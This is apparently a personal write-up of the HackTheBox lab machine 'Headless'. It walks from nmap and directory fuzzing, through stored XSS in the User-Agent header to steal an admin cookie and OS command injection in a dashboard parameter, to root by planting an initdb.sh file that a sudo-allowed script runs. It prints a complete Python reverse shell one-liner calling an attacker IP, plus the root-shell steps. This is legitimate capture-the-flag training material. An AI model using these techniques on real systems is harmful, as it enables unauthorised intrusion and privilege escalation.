HackTheBox: Account

Contact: [email protected]

Follow me on: X

Check My: Github

Headless

Headless

Last modified: 2024-09-01 20:07:57

Machine name OS IP Difficulty
Headless Linux 10.10.11.8 Easy

User

  1. Check if the host is responsive

First, let's verify that we can reach the host using a simple ping command:

└─# ping 10.10.11.8               
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=116 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=113 ms
  1. Check the running services

Let's check all running services and their versions using the nmap command:

└─# nmap -sV -sC 10.10.11.8 -Pn 
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.8
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 23 Jul 2024 14:15:43 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=7/23%Time=669FBB0F%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Tue,\x2023\x20Jul\x202024\x2014:15:43\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z
SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\
SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct
SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b
SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di
SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif
SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20
SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP
SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x
SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp
SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers
SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\
SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.34 seconds

The output shows that there are 2 running services with opened ports:

The operating system of the machine is, of course, Linux (probably Debian, based on the OpenSSH version; we will verify this later).

  1. Check the web application on port 5000

└─# whatweb 10.10.11.8:5000
http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]

Using the whatweb tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:

Going through the application, there are 2 endpoints:

| NOTE: If the administrator sees the same page as we do, the parameters from the body are not displayed, only the header. We need to inject the payload into a header. The User-Agent is a good candidate because it can be changed and does not impacts processing the request.

  1. Testing for client-side vulnerabilities

First, we need to start a server to listen for incoming requests:

python3 -m http.server 18000

And now, we can try sending a malicious payload:

| NOTE: We need to send malicious input in the body parameters to trigger the Hacking Attempt Detected page.

And we received a request:

So we know that there is an administrator on the other side who reviews reports, and there is a client-side vulnerability — stored XSS. We can use this to steal the cookie.

  1. Stealing the cookie

We need to start a server to listen for incoming requests as we did in step 4:

python3 -m http.server 18000

Send the malicious payload: And we have obtained the cookie is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0:

But where do we go now? We need to find something that only an admin can do.

  1. Finding admin's features

Using feroxbuster tool, we can fuzz the path:

└─# feroxbuster -u http://10.10.11.8:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 1 --filter-status 404
                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.8:5000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
 💢  Status Code Filters   │ [404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       93l      179w     2363c http://10.10.11.8:5000/support
200      GET       96l      259w     2799c http://10.10.11.8:5000/
500      GET        5l       37w      265c http://10.10.11.8:5000/dashboard
[####################] - 3m     30001/30001   0s      found:3       errors:0      
[####################] - 3m     30000/30000   194/s   http://10.10.11.8:5000/ 

There is a new endpoint, http://10.10.11.8:5000/dashboard, which appears to be authorized only for administrators:

However, we have an administrator's cookie. So let's investigate further.

  1. Dashboard endpoint

There is a single endpoint that checks the health of the system with only one parameter, date. The application needs to check if it is alive and if the ports are open, so we can assume it's using the shell. Let's try OS Command Injection.

  1. OS Command Injection

We need to start a server to listen for incoming requests:

python3 -m http.server 18000

And send the malicious payload: The incoming request is logged:

There is an OS Command Injection vulnerability; let's create a reverse shell.

  1. Reverse shell

Start the listener:

nc -lvnp 8888

I like Python, so using it, we can call our listener:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

And we got a reverse shell:

| NOTE: An excellent tool for generating reverse shell payloads is the Reverse Shell Generator.

  1. User flag

User flag is in /home/dvir/user.txt

Root

  1. Enhance the shell

This enhancement allows the shell to support command completion, use CTRL+C to interrupt the current process, and makes copy-pasting much more user-friendly.

  1. Put some useful tools on the server

  1. Checking sudo

By executing sudo -l to check what commands we can run with sudo, we get:

dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Interesting, what's inside /usr/bin/syscheck? Let's find out.

  1. Investigating syscheck

The entire script looks like:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

The script calls the initdb.sh script, which should be located in the directory where the command is executed. However, the script is not there. The command /usr/bin/pgrep looks for processes with an exact match (-x) for initdb.sh. If we run the command /usr/bin/pgrep -x "initdb.sh", the output is empty. Therefore, we can create an initdb.sh script, include any content we want, and syscheck will execute it as root (because the user can run /usr/bin/syscheck with sudo).

  1. Getting the root shell

We create an initdb.sh script and put the following inside:

#!/bin/bash

/bin/bash

By calling:

sudo /usr/bin/syscheck

we will spawn a new shell as the root user! The flag is located inside /root/root.txt.

Assumptions verifications

  1. Running OS

We assumed, based on the OpenSSH version, that the running OS is Debian. Let's verify it using the uname -a and cat /etc/os-release commands:

dvir@headless:~/app$ uname -a
Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Lin
ux

dvir@headless:~/app$ cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Running OS - Debian 12.

Table of Contents

Back to home